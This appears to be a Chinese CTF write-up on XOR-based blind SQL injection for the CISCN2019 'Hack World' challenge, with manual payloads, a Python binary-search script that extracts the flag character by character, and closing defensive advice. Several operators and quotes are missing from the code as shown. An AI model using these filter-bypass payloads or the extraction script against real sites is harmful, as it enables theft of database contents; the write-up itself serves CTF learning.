1. 异或注入当常规SQL注入遇到字符过滤在CTF竞赛中Web安全题目常常会设置各种过滤规则来阻止常规的SQL注入攻击。比如题目会过滤单引号、空格、逗号等关键字符让传统的union select或者and 11这类注入手法失效。这时候就需要一些非常规的注入技巧而异或注入XOR Injection就是其中一种极具实战价值的绕过方式。我第一次遇到这种过滤场景是在CISCN2019华北赛区的Hack World题目中。当时尝试用单引号测试时页面直接返回了错误信息而使用--注释也毫无效果。更麻烦的是连空格都被过滤了这让常规的SQL注入几乎寸步难行。就在一筹莫展的时候尝试了异或运算^页面竟然返回了不同的响应——这就是突破口。2. 异或运算在SQL注入中的妙用2.1 异或运算的基本原理异或运算XOR是计算机中的一种基本逻辑运算它的规则很简单两个值相同为0不同为1。在SQL中我们可以用^符号来表示异或运算。比如SELECT 1^1; -- 返回0 SELECT 1^0; -- 返回1这个特性在注入中非常有用因为我们可以构造像0^(条件表达式)这样的payload。如果条件为真1整个表达式就是0^11如果条件为假0就是0^00。通过观察页面返回的不同我们就能判断条件是否成立。2.2 为什么异或注入能绕过过滤在Hack World这道题中出题人过滤了常见的注入字符但偏偏放过了异或运算符^。这是因为^在正常业务逻辑中很少使用开发者容易忽略它的危险性异或运算不需要依赖单引号、空格等被过滤的字符布尔盲注的效果可以通过异或运算的返回值来体现比如我们可以这样判断数据库长度id0^(length(database())10)如果数据库长度大于10表达式返回1否则返回0。通过这种二分法很快就能确定数据库名的长度。3. 手工异或注入实战步骤3.1 判断注入点首先需要确认是否存在异或注入漏洞。在Hack World题目中提交以下payloadid1^1如果返回结果与id0相同说明异或运算被正常执行了。3.2 确定数据库信息接下来可以通过布尔盲注的方式逐步获取数据库信息。以判断数据库名长度为例id0^(length(database())10) -- 返回1说明长度10 id0^(length(database())15) -- 返回0说明长度15通过这种二分查找最终确定数据库名长度为11id0^(length(database())11) -- 返回1确认长度3.3 逐字符爆破数据库名知道了长度后就可以逐个字符爆破数据库名。使用substr和ascii函数组合id0^(ascii(substr(database(),1,1))90) -- 第一个字符ASCII码是否90 id0^(ascii(substr(database(),1,1))99) -- 确认第一个字符是c这个过程虽然繁琐但可以通过脚本自动化。不过在实际比赛中手工操作有时反而更快。3.4 直接获取flag的捷径在Hack World这道题中其实有个捷径。因为题目提示flag在flag表中所以可以直接构造id0^(ascii(substr((select(flag)from(flag)),1,1))50)这样可以跳过猜表名和列名的过程直接爆破flag内容。这也是CTF比赛中常见的技巧——仔细阅读题目提示往往能事半功倍。4. 自动化异或注入脚本开发虽然手工注入可行但在实际比赛中为了提高效率通常会编写自动化脚本。以下是使用Python实现异或注入的示例import requests url http://example.com/index.php flag for i in range(1, 50): low 32 high 127 while low high: mid (low high) // 2 payload f0^(ascii(substr((select(flag)from(flag)),{i},1)){mid}) data {id: payload} r requests.post(url, datadata) if Hello in r.text: # 根据实际返回调整判断条件 low mid 1 else: high mid - 1 flag chr(low) print(flag) if chr(low) }: # flag通常以}结尾 break这个脚本实现了自动化的折半查找算法逐个字符爆破flag内容遇到}自动停止flag的标准格式5. 异或注入的防御措施作为开发者如何防御这类异或注入攻击呢我有几点建议严格过滤所有特殊字符包括但不限于^、|、等位运算符使用参数化查询这是防止SQL注入的最有效方法最小权限原则数据库用户只赋予必要的最低权限错误信息处理避免在错误信息中泄露数据库结构在CTF比赛中异或注入是一种非常实用的技巧。它教会我们当常规方法失效时要善于利用那些被忽略的运算符和特性。这种思维方式在实际的渗透测试中同样重要——安全防护往往针对的是常见攻击方式而非常规的旁路攻击可能成为突破口。